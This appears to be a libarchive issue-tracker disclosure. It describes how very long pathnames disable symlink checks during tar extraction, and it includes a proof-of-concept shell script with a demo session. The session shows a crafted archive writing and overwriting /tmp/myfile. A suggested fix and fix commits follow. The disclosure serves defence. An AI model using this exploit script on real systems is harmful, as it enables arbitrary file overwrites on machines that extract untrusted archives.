Very long pathnames evade symlink checks

[kientzle]

This is the second of four problems mentioned in Issue #743:

{Affects}

3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier

{Description}

When check_symlinks() fails on an lstat() call, it checks errno for only
ENOENT:

    r = lstat(a->name, &st);
    if (r != 0) {
        /* We've hit a dir that doesn't exist; stop now. */
        if (errno == ENOENT)
            break;
    }

All other error conditions get a free pass. In particular, ENAMETOOLONG gets a
free pass. This is by design: The function _archive_write_disk_header() calls
edit_deep_directories() after check_symlinks() in an effort to accommodate deep
directories. Unfortunately, the interaction between the symlink checks and the
deep-directory support introduces a security vulnerability, in that the symlink
checks are effectively disabled for long pathnames.

{Demonstration}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
#!/bin/sh

ELEMENT_LEN=200
ELEMENT_NUM=6
ELEMENT_STR=`jot -s "" -b "D" $ELEMENT_LEN`

currdir=`pwd`

exec < "$2"

i=0
while [ $i -lt $ELEMENT_NUM ]; do
    mkdir $ELEMENT_STR
    cd $ELEMENT_STR
    i=$(($i + 1))
done

ln -s / slink
tar cf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR 
rm -f slink
mkdir -p "slink/`dirname "$1"`"
cat - > "slink/$1"
tar rf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR 
cd "$currdir"
rm -rf $ELEMENT_STR
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

$ cat /tmp/myfile
cat: /tmp/myfile: No such file or directory
$ echo this is the data I want > data
$ ./vuln2.sh /tmp/myfile data
$ ls
data            vuln2.sh        x.tar
$ tar xf x.tar
[error messages omitted]
$ cat /tmp/myfile 
this is the data I want
$ rm -r D* data x.tar
$ echo overwrite existing file > data
$ ./vuln2.sh /tmp/myfile data
$ tar xf x.tar
[error messages omitted]
$ cat /tmp/myfile 
overwrite existing file

{Defense}

The best solution is probably to excise the function edit_deep_directories()
altogether and then change check_symlinks() to return ARCHIVE_FAILED when
lstat() fails with errno other than ENOENT. It does not appear to be worth the
trouble trying to work around PATH_MAX. Incidentally, POSIX defines PATH_MAX
to include the terminating NUL, so if edit_deep_directories() is to remain, its
two strlen() checks should be fixed accordingly: < PATH_MAX and >= PATH_MAX.

[rurban]

Fixed in HardenedBSD with the following commit: HardenedBSD/hardenedBSD@acc5eae

[kientzle]

Fixed in commit 1fa9c7b. This is the same fix suggested in the anonymous posting and implemented in HardenedBSD.

Note that deep-directory support is no longer functional if sandboxing is enabled.